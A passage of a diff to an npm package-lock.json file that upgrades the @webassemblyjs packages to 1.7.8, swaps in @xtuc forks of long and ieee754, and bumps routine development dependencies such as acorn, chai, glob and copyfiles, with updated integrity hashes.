+ "integrity": "sha512-xUwxDXsd1dUKArJEP5wWM5zxgCSwZApSOJyP1XO7M8rNUChUDblcLQ4FpzTpWG2YeylMwMl1MlP5Ztryiz1x4g==",
"dev": true
},
"@webassemblyjs/helper-buffer": {
- "version": "1.5.13",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.5.13.tgz",
- "integrity": "sha512-v7igWf1mHcpJNbn4m7e77XOAWXCDT76Xe7Is1VQFXc4K5jRcFrl9D0NrqM4XifQ0bXiuTSkTKMYqDxu5MhNljA==",
- "dev": true,
- "requires": {
- "debug": "3.1.0"
- },
- "dependencies": {
- "debug": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz",
- "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==",
- "dev": true,
- "requires": {
- "ms": "2.0.0"
- }
- }
- }
+ "version": "1.7.8",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.7.8.tgz",
+ "integrity": "sha512-WXiIMnuvuwlhWvVOm8xEXU9DnHaa3AgAU0ZPfvY8vO1cSsmYb2WbGbHnMLgs43vXnA7XAob9b56zuZaMkxpCBg==",
+ "dev": true
},
"@webassemblyjs/helper-code-frame": {
- "version": "1.5.13",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-code-frame/-/helper-code-frame-1.5.13.tgz",
- "integrity": "sha512-yN6ScQQDFCiAXnVctdVO/J5NQRbwyTbQzsGzEgXsAnrxhjp0xihh+nNHQTMrq5UhOqTb5LykpJAvEv9AT0jnAQ==",
+ "version": "1.7.8",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-code-frame/-/helper-code-frame-1.7.8.tgz",
+ "integrity": "sha512-TLQxyD9qGOIdX5LPQOPo0Ernd88U5rHkFb8WAjeMIeA0sPjCHeVPaGqUGGIXjUcblUkjuDAc07bruCcNHUrHDA==",
"dev": true,
"requires": {
- "@webassemblyjs/wast-printer": "1.5.13"
+ "@webassemblyjs/wast-printer": "1.7.8"
}
},
"@webassemblyjs/helper-fsm": {
- "version": "1.5.13",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-fsm/-/helper-fsm-1.5.13.tgz",
- "integrity": "sha512-hSIKzbXjVMRvy3Jzhgu+vDd/aswJ+UMEnLRCkZDdknZO3Z9e6rp1DAs0tdLItjCFqkz9+0BeOPK/mk3eYvVzZg==",
+ "version": "1.7.8",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-fsm/-/helper-fsm-1.7.8.tgz",
+ "integrity": "sha512-TjK0CnD8hAPkV5mbSp5aWl6SO1+H3WFcjWtixWoy8EMA99YnNzYhpc/WSYWhf7yrhpzkq5tZB0tvLK3Svr3IXA==",
"dev": true
},
"@webassemblyjs/helper-module-context": {
- "version": "1.5.13",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-module-context/-/helper-module-context-1.5.13.tgz",
- "integrity": "sha512-zxJXULGPLB7r+k+wIlvGlXpT4CYppRz8fLUM/xobGHc9Z3T6qlmJD9ySJ2jknuktuuiR9AjnNpKYDECyaiX+QQ==",
- "dev": true,
- "requires": {
- "debug": "3.1.0",
- "mamacro": "0.0.3"
- },
- "dependencies": {
- "debug": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz",
- "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==",
- "dev": true,
- "requires": {
- "ms": "2.0.0"
- }
- }
- }
+ "version": "1.7.8",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-module-context/-/helper-module-context-1.7.8.tgz",
+ "integrity": "sha512-uCutAKR7Nm0VsFixcvnB4HhAyHouNbj0Dx1p7eRjFjXGGZ+N7ftTaG1ZbWCasAEbtwGj54LP8+lkBZdTCPmLGg==",
+ "dev": true
},
"@webassemblyjs/helper-wasm-bytecode": {
- "version": "1.5.13",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.5.13.tgz",
- "integrity": "sha512-0n3SoNGLvbJIZPhtMFq0XmmnA/YmQBXaZKQZcW8maGKwLpVcgjNrxpFZHEOLKjXJYVN5Il8vSfG7nRX50Zn+aw==",
+ "version": "1.7.8",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.7.8.tgz",
+ "integrity": "sha512-AdCCE3BMW6V34WYaKUmPgVHa88t2Z14P4/0LjLwuGkI0X6pf7nzp0CehzVVk51cKm2ymVXjl9dCG+gR1yhITIQ==",
"dev": true
},
"@webassemblyjs/helper-wasm-section": {
- "version": "1.5.13",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.5.13.tgz",
- "integrity": "sha512-IJ/goicOZ5TT1axZFSnlAtz4m8KEjYr12BNOANAwGFPKXM4byEDaMNXYowHMG0yKV9a397eU/NlibFaLwr1fbw==",
+ "version": "1.7.8",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.7.8.tgz",
+ "integrity": "sha512-BkBhYQuzyl4hgTGOKo87Vdw6f9nj8HhI7WYpI0MCC5qFa5ahrAPOGgyETVdnRbv+Rjukl9MxxfDmVcVC435lDg==",
"dev": true,
"requires": {
- "@webassemblyjs/ast": "1.5.13",
- "@webassemblyjs/helper-buffer": "1.5.13",
- "@webassemblyjs/helper-wasm-bytecode": "1.5.13",
- "@webassemblyjs/wasm-gen": "1.5.13",
- "debug": "3.1.0"
- },
- "dependencies": {
- "debug": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz",
- "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==",
- "dev": true,
- "requires": {
- "ms": "2.0.0"
- }
- }
+ "@webassemblyjs/ast": "1.7.8",
+ "@webassemblyjs/helper-buffer": "1.7.8",
+ "@webassemblyjs/helper-wasm-bytecode": "1.7.8",
+ "@webassemblyjs/wasm-gen": "1.7.8"
}
},
"@webassemblyjs/ieee754": {
- "version": "1.5.13",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.5.13.tgz",
- "integrity": "sha512-TseswvXEPpG5TCBKoLx9tT7+/GMACjC1ruo09j46ULRZWYm8XHpDWaosOjTnI7kr4SRJFzA6MWoUkAB+YCGKKg==",
+ "version": "1.7.8",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.7.8.tgz",
+ "integrity": "sha512-tOarWChdG1a3y1yqCX0JMDKzrat5tQe4pV6K/TX19BcXsBLYxFQOL1DEDa5KG9syeyvCrvZ+i1+Mv1ExngvktQ==",
"dev": true,
"requires": {
- "ieee754": "1.1.12"
+ "@xtuc/ieee754": "1.2.0"
}
},
"@webassemblyjs/leb128": {
- "version": "1.5.13",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.5.13.tgz",
- "integrity": "sha512-0NRMxrL+GG3eISGZBmLBLAVjphbN8Si15s7jzThaw1UE9e5BY1oH49/+MA1xBzxpf1OW5sf9OrPDOclk9wj2yg==",
+ "version": "1.7.8",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.7.8.tgz",
+ "integrity": "sha512-GCYeGPgUFWJiZuP4NICbcyUQNxNLJIf476Ei+K+jVuuebtLpfvwkvYT6iTUE7oZYehhkor4Zz2g7SJ/iZaPudQ==",
"dev": true,
"requires": {
- "long": "4.0.0"
- },
- "dependencies": {
- "long": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/long/-/long-4.0.0.tgz",
- "integrity": "sha512-XsP+KhQif4bjX1kbuSiySJFNAehNxgLb6hPRGJ9QsUr8ajHkuXGdrHmFUTUUXhDwVX2R5bY4JNZEwbUiMhV+MA==",
- "dev": true
- }
+ "@xtuc/long": "4.2.1"
}
},
"@webassemblyjs/utf8": {
- "version": "1.5.13",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.5.13.tgz",
- "integrity": "sha512-Ve1ilU2N48Ew0lVGB8FqY7V7hXjaC4+PeZM+vDYxEd+R2iQ0q+Wb3Rw8v0Ri0+rxhoz6gVGsnQNb4FjRiEH/Ng==",
+ "version": "1.7.8",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.7.8.tgz",
+ "integrity": "sha512-9X+f0VV+xNXW2ujfIRSXBJENGE6Qh7bNVKqu3yDjTFB3ar3nsThsGBBKdTG58aXOm2iUH6v28VIf88ymPXODHA==",
"dev": true
},
"@webassemblyjs/wasm-edit": {
- "version": "1.5.13",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.5.13.tgz",
- "integrity": "sha512-X7ZNW4+Hga4f2NmqENnHke2V/mGYK/xnybJSIXImt1ulxbCOEs/A+ZK/Km2jgihjyVxp/0z0hwIcxC6PrkWtgw==",
+ "version": "1.7.8",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.7.8.tgz",
+ "integrity": "sha512-6D3Hm2gFixrfyx9XjSON4ml1FZTugqpkIz5Awvrou8fnpyprVzcm4X8pyGRtA2Piixjl3DqmX/HB1xdWyE097A==",
"dev": true,
"requires": {
- "@webassemblyjs/ast": "1.5.13",
- "@webassemblyjs/helper-buffer": "1.5.13",
- "@webassemblyjs/helper-wasm-bytecode": "1.5.13",
- "@webassemblyjs/helper-wasm-section": "1.5.13",
- "@webassemblyjs/wasm-gen": "1.5.13",
- "@webassemblyjs/wasm-opt": "1.5.13",
- "@webassemblyjs/wasm-parser": "1.5.13",
- "@webassemblyjs/wast-printer": "1.5.13",
- "debug": "3.1.0"
- },
- "dependencies": {
- "debug": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz",
- "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==",
- "dev": true,
- "requires": {
- "ms": "2.0.0"
- }
- }
+ "@webassemblyjs/ast": "1.7.8",
+ "@webassemblyjs/helper-buffer": "1.7.8",
+ "@webassemblyjs/helper-wasm-bytecode": "1.7.8",
+ "@webassemblyjs/helper-wasm-section": "1.7.8",
+ "@webassemblyjs/wasm-gen": "1.7.8",
+ "@webassemblyjs/wasm-opt": "1.7.8",
+ "@webassemblyjs/wasm-parser": "1.7.8",
+ "@webassemblyjs/wast-printer": "1.7.8"
}
},
"@webassemblyjs/wasm-gen": {
- "version": "1.5.13",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.5.13.tgz",
- "integrity": "sha512-yfv94Se8R73zmr8GAYzezFHc3lDwE/lBXQddSiIZEKZFuqy7yWtm3KMwA1uGbv5G1WphimJxboXHR80IgX1hQA==",
+ "version": "1.7.8",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.7.8.tgz",
+ "integrity": "sha512-a7O/wE6eBeVKKUYgpMK7NOHmMADD85rSXLe3CqrWRDwWff5y3cSVbzpN6Qv3z6C4hdkpq9qyij1Ga1kemOZGvQ==",
"dev": true,
"requires": {
- "@webassemblyjs/ast": "1.5.13",
- "@webassemblyjs/helper-wasm-bytecode": "1.5.13",
- "@webassemblyjs/ieee754": "1.5.13",
- "@webassemblyjs/leb128": "1.5.13",
- "@webassemblyjs/utf8": "1.5.13"
+ "@webassemblyjs/ast": "1.7.8",
+ "@webassemblyjs/helper-wasm-bytecode": "1.7.8",
+ "@webassemblyjs/ieee754": "1.7.8",
+ "@webassemblyjs/leb128": "1.7.8",
+ "@webassemblyjs/utf8": "1.7.8"
}
},
"@webassemblyjs/wasm-opt": {
- "version": "1.5.13",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.5.13.tgz",
- "integrity": "sha512-IkXSkgzVhQ0QYAdIayuCWMmXSYx0dHGU8Ah/AxJf1gBvstMWVnzJnBwLsXLyD87VSBIcsqkmZ28dVb0mOC3oBg==",
+ "version": "1.7.8",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.7.8.tgz",
+ "integrity": "sha512-3lbQ0PT81NHCdi1sR/7+SNpZadM4qYcTSr62nFFAA7e5lFwJr14M1Gi+A/Y3PgcDWOHYjsaNGPpPU0H03N6Blg==",
"dev": true,
"requires": {
- "@webassemblyjs/ast": "1.5.13",
- "@webassemblyjs/helper-buffer": "1.5.13",
- "@webassemblyjs/wasm-gen": "1.5.13",
- "@webassemblyjs/wasm-parser": "1.5.13",
- "debug": "3.1.0"
- },
- "dependencies": {
- "debug": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz",
- "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==",
- "dev": true,
- "requires": {
- "ms": "2.0.0"
- }
- }
+ "@webassemblyjs/ast": "1.7.8",
+ "@webassemblyjs/helper-buffer": "1.7.8",
+ "@webassemblyjs/wasm-gen": "1.7.8",
+ "@webassemblyjs/wasm-parser": "1.7.8"
}
},
"@webassemblyjs/wasm-parser": {
- "version": "1.5.13",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.5.13.tgz",
- "integrity": "sha512-XnYoIcu2iqq8/LrtmdnN3T+bRjqYFjRHqWbqK3osD/0r/Fcv4d9ecRzjVtC29ENEuNTK4mQ9yyxCBCbK8S/cpg==",
+ "version": "1.7.8",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.7.8.tgz",
+ "integrity": "sha512-rZ/zlhp9DHR/05zh1MbAjT2t624sjrPP/OkJCjXqzm7ynH+nIdNcn9Ixc+qzPMFXhIrk0rBoQ3to6sEIvHh9jQ==",
"dev": true,
"requires": {
- "@webassemblyjs/ast": "1.5.13",
- "@webassemblyjs/helper-api-error": "1.5.13",
- "@webassemblyjs/helper-wasm-bytecode": "1.5.13",
- "@webassemblyjs/ieee754": "1.5.13",
- "@webassemblyjs/leb128": "1.5.13",
- "@webassemblyjs/utf8": "1.5.13"
+ "@webassemblyjs/ast": "1.7.8",
+ "@webassemblyjs/helper-api-error": "1.7.8",
+ "@webassemblyjs/helper-wasm-bytecode": "1.7.8",
+ "@webassemblyjs/ieee754": "1.7.8",
+ "@webassemblyjs/leb128": "1.7.8",
+ "@webassemblyjs/utf8": "1.7.8"
}
},
"@webassemblyjs/wast-parser": {
- "version": "1.5.13",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-parser/-/wast-parser-1.5.13.tgz",
- "integrity": "sha512-Lbz65T0LQ1LgzKiUytl34CwuhMNhaCLgrh0JW4rJBN6INnBB8NMwUfQM+FxTnLY9qJ+lHJL/gCM5xYhB9oWi4A==",
+ "version": "1.7.8",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-parser/-/wast-parser-1.7.8.tgz",
+ "integrity": "sha512-Q/zrvtUvzWuSiJMcSp90fi6gp2nraiHXjTV2VgAluVdVapM4gy1MQn7akja2p6eSBDQpKJPJ6P4TxRkghRS5dg==",
"dev": true,
"requires": {
- "@webassemblyjs/ast": "1.5.13",
- "@webassemblyjs/floating-point-hex-parser": "1.5.13",
- "@webassemblyjs/helper-api-error": "1.5.13",
- "@webassemblyjs/helper-code-frame": "1.5.13",
- "@webassemblyjs/helper-fsm": "1.5.13",
- "long": "3.2.0",
- "mamacro": "0.0.3"
+ "@webassemblyjs/ast": "1.7.8",
+ "@webassemblyjs/floating-point-hex-parser": "1.7.8",
+ "@webassemblyjs/helper-api-error": "1.7.8",
+ "@webassemblyjs/helper-code-frame": "1.7.8",
+ "@webassemblyjs/helper-fsm": "1.7.8",
+ "@xtuc/long": "4.2.1"
}
},
"@webassemblyjs/wast-printer": {
- "version": "1.5.13",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.5.13.tgz",
- "integrity": "sha512-QcwogrdqcBh8Z+eUF8SG+ag5iwQSXxQJELBEHmLkk790wgQgnIMmntT2sMAMw53GiFNckArf5X0bsCA44j3lWQ==",
+ "version": "1.7.8",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.7.8.tgz",
+ "integrity": "sha512-GllIthRtwTxRDAURRNXscu7Napzmdf1jt1gpiZiK/QN4fH0lSGs3OTmvdfsMNP7tqI4B3ZtfaaWRlNIQug6Xyg==",
"dev": true,
"requires": {
- "@webassemblyjs/ast": "1.5.13",
- "@webassemblyjs/wast-parser": "1.5.13",
- "long": "3.2.0"
+ "@webassemblyjs/ast": "1.7.8",
+ "@webassemblyjs/wast-parser": "1.7.8",
+ "@xtuc/long": "4.2.1"
}
},
+ "@xtuc/ieee754": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz",
+ "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==",
+ "dev": true
+ },
+ "@xtuc/long": {
+ "version": "4.2.1",
+ "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.1.tgz",
+ "integrity": "sha512-FZdkNBDqBRHKQ2MEbSC17xnPFOhZxeJ2YGSfr2BKf3sujG49Qe3bB+rGCwQfIaA7WHnGeGkSijX4FuBCdrzW/g==",
+ "dev": true
+ },
"abbrev": {
"version": "1.0.9",
"resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.0.9.tgz",
@@ -483,9 +424,9 @@
}
},
"acorn": {
- "version": "5.7.1",
- "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.1.tgz",
- "integrity": "sha512-d+nbxBUGKg7Arpsvbnlq61mc12ek3EY8EQldM3GPAhWJ1UVxC6TDGbIvUMNU6obBX3i1+ptCIzV4vq0gFPEGVQ==",
+ "version": "5.7.3",
+ "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.3.tgz",
+ "integrity": "sha512-T/zvzYRfbVojPWahDsE5evJdHb3oJoQfFbsrKM7w5Zcs++Tr257tia3BmMP8XYVjp1S9RZXQMh7gao96BlqZOw==",
"dev": true
},
"acorn-dynamic-import": {
@@ -494,7 +435,7 @@
"integrity": "sha512-zVWV8Z8lislJoOKKqdNMOB+s6+XV5WERty8MnKBeFgwA+19XJjJHs2RP5dzM57FftIs+jQnRToLiWazKr6sSWg==",
"dev": true,
"requires": {
- "acorn": "5.7.1"
+ "acorn": "5.7.3"
}
},
"acorn-jsx": {
@@ -503,7 +444,7 @@
"integrity": "sha512-JY+iV6r+cO21KtntVvFkD+iqjtdpRUpGqKWgfkCdZq1R+kbreEl8EcdcJR4SmiIgsIQT33s6QzheQ9a275Q8xw==",
"dev": true,
"requires": {
- "acorn": "5.7.1"
+ "acorn": "5.7.3"
}
},
"after": {
@@ -567,6 +508,12 @@
"integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=",
"dev": true
},
+ "ansi-colors": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-3.1.0.tgz",
+ "integrity": "sha512-hTv1qPdi+sVEk3jYsdjox5nQI0C9HTbjKShbCdYLKb1LOfNbb7wsF4d7OEKIZoxIHx02tSp3m94jcPW2EfMjmA==",
+ "dev": true
+ },
"ansi-escapes": {
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.1.0.tgz",
@@ -630,7 +577,7 @@
"arr-flatten": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz",
- "integrity": "sha1-NgSLv/TntH4TZkQxbJlmnqWukfE=",
+ "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==",
"dev": true
},
"arr-union": {
@@ -700,11 +647,6 @@
"integrity": "sha1-iYUI2iIm84DfkEcoRWhJwVAaSw0=",
"dev": true
},
- "asap": {
- "version": "2.0.6",
- "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz",
- "integrity": "sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY="
- },
"asn1": {
"version": "0.2.3",
"resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.3.tgz",
@@ -828,7 +770,7 @@
"commander": "2.15.1",
"convert-source-map": "1.5.1",
"fs-readdir-recursive": "1.1.0",
- "glob": "7.1.2",
+ "glob": "7.1.3",
"lodash": "4.17.10",
"output-file-sync": "1.1.2",
"path-is-absolute": "1.0.1",
@@ -2356,7 +2298,7 @@
},
"browserify-aes": {
"version": "1.2.0",
- "resolved": "https://registry.npmjs.org/browserify-aes/-/browserify-aes-1.2.0.tgz",
+ "resolved": "http://registry.npmjs.org/browserify-aes/-/browserify-aes-1.2.0.tgz",
"integrity": "sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==",
"dev": true,
"requires": {
@@ -2401,7 +2343,7 @@
},
"browserify-rsa": {
"version": "4.0.1",
- "resolved": "https://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.0.1.tgz",
+ "resolved": "http://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.0.1.tgz",
"integrity": "sha1-IeCr+vbyApzy+vsTNWenAdQTVSQ=",
"dev": true,
"requires": {
@@ -2445,7 +2387,7 @@
},
"buffer": {
"version": "4.9.1",
- "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.1.tgz",
+ "resolved": "http://registry.npmjs.org/buffer/-/buffer-4.9.1.tgz",
"integrity": "sha1-bRu2AbB6TvztlwlBMgkwJ8lbwpg=",
"dev": true,
"requires": {
@@ -2521,8 +2463,8 @@
"dev": true,
"requires": {
"bluebird": "3.5.1",
- "chownr": "1.0.1",
- "glob": "7.1.2",
+ "chownr": "1.1.1",
+ "glob": "7.1.3",
"graceful-fs": "4.1.11",
"lru-cache": "4.1.3",
"mississippi": "2.0.0",
@@ -2531,7 +2473,7 @@
"promise-inflight": "1.0.1",
"rimraf": "2.6.2",
"ssri": "5.3.0",
- "unique-filename": "1.1.0",
+ "unique-filename": "1.1.1",
"y18n": "4.0.0"
},
"dependencies": {
@@ -2648,9 +2590,9 @@
}
},
"chai": {
- "version": "4.1.2",
- "resolved": "https://registry.npmjs.org/chai/-/chai-4.1.2.tgz",
- "integrity": "sha1-D2RYS6ZC8PKs4oBiefTwbKI61zw=",
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/chai/-/chai-4.2.0.tgz",
+ "integrity": "sha512-XQU3bhBukrOsQCuwZndwGcCVQHyZi53fQ6Ys1Fym7E4olpIqqZZhhoFJoaKVvV17lWQoXYwgWN2nF5crA8J2jw==",
"dev": true,
"requires": {
"assertion-error": "1.1.0",
@@ -2675,9 +2617,9 @@
}
},
"chardet": {
- "version": "0.4.2",
- "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.4.2.tgz",
- "integrity": "sha1-tUc7M9yXxCTl2Y3IfVXU2KKci/I=",
+ "version": "0.7.0",
+ "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz",
+ "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==",
"dev": true
},
"check-error": {
@@ -2705,9 +2647,9 @@
}
},
"chownr": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.0.1.tgz",
- "integrity": "sha1-4qdQQqlVGQi+vSW4Uj1fl2nXkYE=",
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.1.tgz",
+ "integrity": "sha512-j38EvO5+LHX84jlo6h4UzmOwi0UgW61WRyPtJz4qaadK5eY3BTS5TY/S1Stc3Uk2lIM6TPevAlULiEJwie860g==",
"dev": true
},
"chrome-trace-event": {
@@ -2905,18 +2847,18 @@
"dev": true
},
"compressible": {
- "version": "2.0.14",
- "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.14.tgz",
- "integrity": "sha1-MmxfUH+7BV9UEWeCuWmoG2einac=",
+ "version": "2.0.15",
+ "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.15.tgz",
+ "integrity": "sha512-4aE67DL33dSW9gw4CI2H/yTxqHLNcxp0yS6jB+4h+wr3e43+1z7vm0HU9qXOH8j+qjKuL8+UtkOxYQSMq60Ylw==",
"dev": true,
"requires": {
- "mime-db": "1.35.0"
+ "mime-db": "1.36.0"
},
"dependencies": {
"mime-db": {
- "version": "1.35.0",
- "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.35.0.tgz",
- "integrity": "sha512-JWT/IcCTsB0Io3AhWUMjRqucrHSPsSf2xKLaRldJVULioggvkJvggZ3VXNNSRkCddE6D+BUI4HEIZIA2OjwIvg==",
+ "version": "1.36.0",
+ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.36.0.tgz",
+ "integrity": "sha512-L+xvyD9MkoYMXb1jAmzI/lWYAxAMCPvIBSWur0PZ5nOf5euahRLVqH//FKW9mWp2lkqUgYiXPgkzfMUFi4zVDw==",
"dev": true
}
}
@@ -2929,7 +2871,7 @@
"requires": {
"accepts": "1.3.5",
"bytes": "3.0.0",
- "compressible": "2.0.14",
+ "compressible": "2.0.15",
"debug": "2.6.9",
"on-headers": "1.0.1",
"safe-buffer": "5.1.2",
@@ -2979,7 +2921,7 @@
"readable-stream": {
"version": "2.3.3",
"resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.3.tgz",
- "integrity": "sha1-No8lEtefnUb9/HE0mueHi7weuVw=",
+ "integrity": "sha512-m+qzzcn7KUxEmd1gMbchF+Y2eIUbieUaxkWtptyHywrX0rE8QEYqPC07Vuy4Wm32/xE16NcdBctb8S0Xe/5IeQ==",
"dev": true,
"requires": {
"core-util-is": "1.0.2",
@@ -2994,7 +2936,7 @@
"string_decoder": {
"version": "1.0.3",
"resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz",
- "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=",
+ "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==",
"dev": true,
"requires": {
"safe-buffer": "5.1.1"
@@ -3099,18 +3041,18 @@
"copy-to-clipboard": {
"version": "3.0.8",
"resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.0.8.tgz",
- "integrity": "sha1-9OgvSogw3ORma3643tDJvMMTq6k=",
+ "integrity": "sha512-c3GdeY8qxCHGezVb1EFQfHYK/8NZRemgcTIzPq7PuxjHAf/raKibn2QdhHPb/y6q74PMgH6yizaDZlRmw6QyKw==",
"requires": {
"toggle-selection": "1.0.6"
}
},
"copyfiles": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/copyfiles/-/copyfiles-2.0.0.tgz",
- "integrity": "sha512-NSSJdwCH27/hEiBlhkXYWh3AaPo8IATxLX5XtJQgknOvOehrREtETsGd/BNr2vuj0URgKBC/50PNRM3yShQGJQ==",
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/copyfiles/-/copyfiles-2.1.0.tgz",
+ "integrity": "sha512-cAeDE0vL/koE9WSEGxqPpSyvU638Kgfu6wfrnj7kqp9FWa1CWsU54Coo6sdYZP4GstWa39tL/wIVJWfXcujgNA==",
"dev": true,
"requires": {
- "glob": "7.1.2",
+ "glob": "7.1.3",
"minimatch": "3.0.4",
"mkdirp": "0.5.1",
"noms": "0.0.0",
@@ -3155,7 +3097,7 @@
},
"yargs": {
"version": "11.1.0",
- "resolved": "https://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz",
+ "resolved": "http://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz",
"integrity": "sha512-NwW69J42EsCSanF8kyn5upxvjp5ds+t3+udGBeTbFnERA+lF541DDpMawzo4z6W/QrzNM18D+BPMiOBibnFV5A==",
"dev": true,
"requires": {
@@ -3198,20 +3140,20 @@
},
"create-hash": {
"version": "1.2.0",
- "resolved": "https://registry.npmjs.org/create-hash/-/create-hash-1.2.0.tgz",
+ "resolved": "http://registry.npmjs.org/create-hash/-/create-hash-1.2.0.tgz",
"integrity": "sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==",
"dev": true,
"requires": {
"cipher-base": "1.0.4",
"inherits": "2.0.3",
- "md5.js": "1.3.4",
+ "md5.js": "1.3.5",
"ripemd160": "2.0.2",
"sha.js": "2.4.11"
}
},
"create-hmac": {
"version": "1.1.7",
